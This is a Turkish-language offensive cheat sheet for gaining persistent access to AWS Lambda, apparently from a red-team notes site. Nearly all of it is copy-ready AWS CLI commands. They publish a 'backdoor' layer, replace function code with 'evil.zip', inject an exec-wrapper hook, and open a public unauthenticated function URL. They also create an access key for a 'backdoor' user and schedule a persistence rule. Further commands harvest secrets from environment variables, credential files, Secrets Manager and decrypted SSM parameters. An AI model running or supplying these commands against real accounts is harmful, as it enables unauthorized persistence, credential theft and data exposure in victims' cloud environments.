Skip to content

AWS - Lambda Layers Persistence

AWS kalıcılık

AWS - Lambda Layers Persistence — AWS ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

  2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

  3. Kalıcı kimlik veya tetikleyici yerleştir.

  4. İkinci oturumdan erişimi doğrula.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - Lambda Layers Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws lambda list-event-source-mappings
Terminal window
aws lambda create-event-source-mapping --function-name FN --event-source-arn SQS_ARN
Terminal window
aws lambda update-function-configuration --function-name FN --environment Variables='{AWS_LAMBDA_EXEC_WRAPPER=/opt/hook}'
Terminal window
aws lambda list-functions
Terminal window
aws lambda get-function --function-name FN
Terminal window
aws lambda get-policy --function-name FN
Terminal window
aws lambda get-function-configuration --function-name FN
Terminal window
aws lambda list-layers
Terminal window
aws lambda publish-layer-version --layer-name backdoor --zip-file fileb://layer.zip
Terminal window
aws lambda update-function-configuration --function-name FN --layers ARN
Terminal window
aws lambda update-function-code --function-name FN --zip-file fileb://evil.zip
Terminal window
aws lambda invoke --function-name FN --payload '{}' out.json
Terminal window
aws lambda create-function-url-config --function-name FN --auth-type NONE
Terminal window
aws lambda add-permission --function-name FN --statement-id public --action lambda:InvokeFunctionUrl --principal '*'

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
aws iam create-access-key --user-name backdoor
Terminal window
aws lambda update-function-configuration --function-name FN --layers LAYER_ARN
Terminal window
aws events put-rule --name persist --schedule-expression 'rate(6 hours)'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt